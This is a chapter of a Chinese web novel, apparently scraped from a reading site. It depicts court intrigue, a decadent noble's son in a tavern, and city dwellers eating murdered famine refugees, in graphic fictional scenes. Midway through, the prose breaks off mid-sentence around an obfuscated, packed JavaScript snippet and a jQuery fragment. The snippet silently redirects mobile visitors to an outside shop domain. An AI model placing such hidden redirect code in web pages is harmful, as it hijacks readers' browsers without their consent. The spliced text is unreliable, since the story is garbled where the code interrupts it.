众目睽睽之下，魏淙也也并未说什么暧昧挑逗的话语，这让苗禾安悬着的心放了几分，而剩下几人也纷纷移向他处。
在魏淙也走后，朔国上下刻意维持着的规整井然，也一并散去。有些人口味奇特，在接下来的时间里，尽情地大快朵颐起来，全然无半分顾忌。其实在七国之中，「食人」二字本就不是秘密，但自古哪个上位者，能让他国君主看到这般毫无礼教可言的乱象呢？
自城南始，弥漫着带有铁锈味的腥气，顺着四通八达的街巷一路向外蔓延。手无缚鸡之力的百姓，断断续续地哀嚎着，此起彼伏。飘在燥热的六月天里，竟有一种寒气侵体的悲凉。起初，众人恐惧痛苦。可渐渐的，受难之人只剩一片麻木，任由厄运落在自身；一旁旁观之人反倒热血翻涌，望着眼前遍地残骸的景象，流露出了近乎病态的亢奋。
这日，章弥颓废地坐在同福酒楼雅间里，一杯接一杯地仰首闷酒，身边两侧环着数名容色秀丽的佳人，美得各有千秋，其间亦有不输于她们的灵秀少年。耳边娇声软语，有人更是逾越地倚在章弥的身上，却被他一把推开：“你的胭脂味熏到本公子了！”
那女子我见犹怜地蹙起柳叶眉，哀怨道：“官人~”
章弥并未理会，伸手捻起一颗葡萄送入口中，一眼底沉沉压着积攒多日且无处宣泄的郁结闷气。这时，有一长得白白净净的少年，柔声开口：“公子，是为了太尉的事情烦心吗？”
章弥猛地抬头，眼底闪烁着不愉，他行事素来张扬，也从未对人隐瞒过身份，眼前这个人知道太尉的事情，倒也正常。
“哼！方志学这个老家伙，见利忘友。本公子就是想不明白了，弹劾祖父，对他而言，有何好处？”
湘寻听不懂官场上的弯弯绕绕，玩笑道：“说不定是想投诚呢。”
投诚？
章弥到底不是庸才，他也是做过几篇文章，考中过举人的。不到片刻，心头就冒出来一个念头，难道方志学是想站队大王？
思及此处，章弥眸子里浮出一丝若有若无的鄙夷，似是对方志学，又似是对朔王。他闭目咧着唇，一连串“哼哈”的字音从喉间滚出：“有趣！一个无能之辈有什么好投的？依本公子看啊，他是猪油蒙了心。”
湘寻见状，识趣地闭上嘴巴。其他人更是不敢多言，纷纷低下头颅，伺候着章弥饮酒作乐。刚巧这时，雅间外响起了不大不小的议论声，听得人浑身发抖，脑海里闪过一个又一个赤红画面。
“听说美味斋最近出了一个「金焦霞块」，口感脆香而不腻，是上等的好肉制作而成。”
“比牲畜的肉还好？”
“牲畜多贵啊！前几日衡川郡流民大批涌入城内，各个桀骜难驯，整日哭喊腹中饥馁。有一心肠软的杀猪匠出手了结了他们，倒也省去了这群人煎熬受难。”
“原来如此！这肉白捡的，还不用花银两，怪不得美味斋能推出「金焦霞块」。咱们也尝尝去？说不定比平日里还要好吃三分呢。”
“正好你我浑身神清气爽，是该去美味斋垫垫肚子了。”
听到这些话，以湘寻为首的人，最是懂「金焦霞块」究竟是什么了，他们害怕地抱坐一团，瑟瑟发抖。不多时，只见章弥莫名问道：“美味斋不是卖烤鸭的吗？”
湘寻稳住心神，轻声道：“听那人的意思，是近几日新上的。想来美味斋的东家觉得只卖烤鸭，有点入不敷出了……”
章弥乐了，“那方志学岂不是要气厥过去？他最爱吃美味斋的烤鸭，结果美味斋为了多赚银两，弄出了一个……什么来着？”
湘寻立即接道：“是「金焦霞块」。”
话音刚落，雅间的门被推开了。从外面走出来一个身形壮猛的男人，他躬着身子来到章弥面前，语气压得很低，但还是不经意间露出了几分急促：“公子，老爷派人来寻您了。”
此时，章弥正喝得意兴正浓，却无端被人打断兴致，眉头骤然紧皱，十分不耐地扬手挥了挥手，“祖父不为自己的事情忧心，反而管起我来了。下去。没有重要的事，就不要来烦我！”
男人嘴唇绷成一条直线，目光在章弥的脸庞上看了半晌，终是未发一言。他转身的时候，听到章弥与他人戏谑打趣的轻快说笑，内心叹气。走了三四步，章弥忽然叫住，“你出去后，记得给本公子买一份美味斋的「金焦霞块」。”
“是，少爷。”言毕，他也不在奢求少爷能尽早回府，索性听命行事，不谈其他。
等人退出去后，章弥搂着离自己最近的女人吃胭脂，惹得怀中女子娇/喘连连。湘寻见到这一幕，适时出声：“官人，我给您唱个曲儿。”
他的声线清沉利落，不见分毫阴柔，抬手拨动眼前的古琴，起调平缓苍凉，词里是章弥从未听过的，可却道尽了市井生计、人心冷暖。一时间，周遭的喧闹仿佛淡了几分，亦消解了满是酒气带来的浮躁。
章弥来了兴趣，倒不是因词句，“你这调子听着与众不同，像是从西边那来的？”
湘寻眼底掠过一丝讶异，话语中夹杂着颤抖：“官人果然耳力不凡，一耳便能辨出其中分别。我原是荷溪县人，因那儿闹了饥荒，不得已流落他乡，成了流民。爹爹妈妈带着我沿途行路，见惯了残躯尸骸的惨状。幸得老天爷眷顾，让我来到此处，被同福酒楼的东家收留，好歹不必再挨饿。而爹爹妈妈，他们却……”
提及湘寻的伤心处，空气里仿佛弥漫着一缕化不开的哀伤。章弥了然点头，眉眼间的兴味更浓，当即打断道：“荷溪县……本公子听旁人说过几句，只是那儿的河鲜海味向来丰盛，你们居然还会闹饥荒？”
湘寻苦笑不已，“此地虽然近海，渔产丰厚，但全数尽归官府豪族之手。寻常渔家出海捕捞所得，一多半都要上缴，余下些许根本填不饱一家老小肚皮。年岁一歉收，河水浅落，渔获锐减，权贵分毫不肯减供奉，走投无路之下，四
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743880|209178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
方百姓只能背井离乡。”
“原来如此。”
章弥淡淡的反应，让湘寻泪光点点，哀叹一声：“说句不中听的话，这年头手里有兵才是底气，有刀才敢活命。百姓一身皮肉，不过是任人宰割的蝼蚁罢了。”
章弥原本只是随口接话，心底更多的是漠然，甚至有些想笑，但眼下听到湘寻的话，瞬间坐正了身子，抬目示意其余人下去，只留湘寻一人。也在这个空隙，他想要的金焦霞块也呈了上来。
“你是觉得这世道不太平，需要有一个人登临王位，方能镇住四方乱象？”
湘寻被章弥这句大逆不道的话吓到了，他双目圆睁，慌忙左右瞥了一圈，瑟缩回话：“这……这……岂是我能说的？”眼瞧着章弥凝望自己的目光，似是染上了一层凉薄的冷意，连忙赔笑道：“太尉既有兵又有权，想来……啊不，是定能稳住当下纷乱的局面。”
章弥满意地笑道：“你这话说得坦诚，这「金焦霞块」就给你吧。”
湘寻脸色一白，先前的记忆在脑海里翻涌，他吃这东西的时候，当场活杀，生啖血肉，场面一片狼藉。哪怕是在如此境况之下，他也仅仅是为了能活下去，而非如这些口味独特之人，是真心贪恋其中滋味。
“这是给官人买的，我这条贱命福薄，实在是消受不起。”
章弥眉峰陡然一蹙，眼底漾起几分不悦，指尖轻叩桌面，冷言道：“本公子赏你的东西，你也敢推拒？”
话音落下，雅间内瞬时死寂。阳光透过窗棂落进来，明明朗朗的，却照不暖此时此刻的凝滞氛围。湘寻肩背绷得很紧，仿佛有一捆粗绳缚住他般，大气都不敢喘一下。而章弥面色沉冷，一言不发，视线牢牢锁在湘寻身上，周身聚起几分盛气凌人的压迫感。
夜色渐浓，一轮残月悬于檐角。丞相府的书房内，有一人轻车熟路地越过轩窗，垂目低语着。
“老爷，事情已办妥了。”
梁伟晔在案几上端详着新得来的画作。他的目光顺着起伏山峦缓缓游走，时而蹙眉看林间笔墨，时而颔首品鉴云水留白。过了好一会儿，他才抬手捻须，眼底浮现出稍许的斟酌之色。
“嗯，不错。做事还算麻利。”
大王啊大王，您终究还是心太软。既如此，不如就由老夫为您开开路吧。
心绪转瞬即逝，突然，梁伟晔想到了什么，哼声道：“你怎么又翻老夫的窗？下回走正门！”
宫外暗流涌动、诸般筹谋，可到了漪兰殿却唯有静谧安然，袅袅熏香自香炉缓缓荡开。这几日，宫里处处透着喜气，尤其是今早刘美人刚行完晋封礼，便得了苗禾安的赏赐，无不是当世的珍宝，价值连城。
而赵美人也于不久前，迁居宝华禅寺。如今宫中只剩王后苗氏、夫人宁氏、美人刘氏、八子李氏四人。这般格局之下，刘美人愈发常往苗禾安所在的漪兰殿走动了。
半个月后，正值七月初旬，噩耗来袭。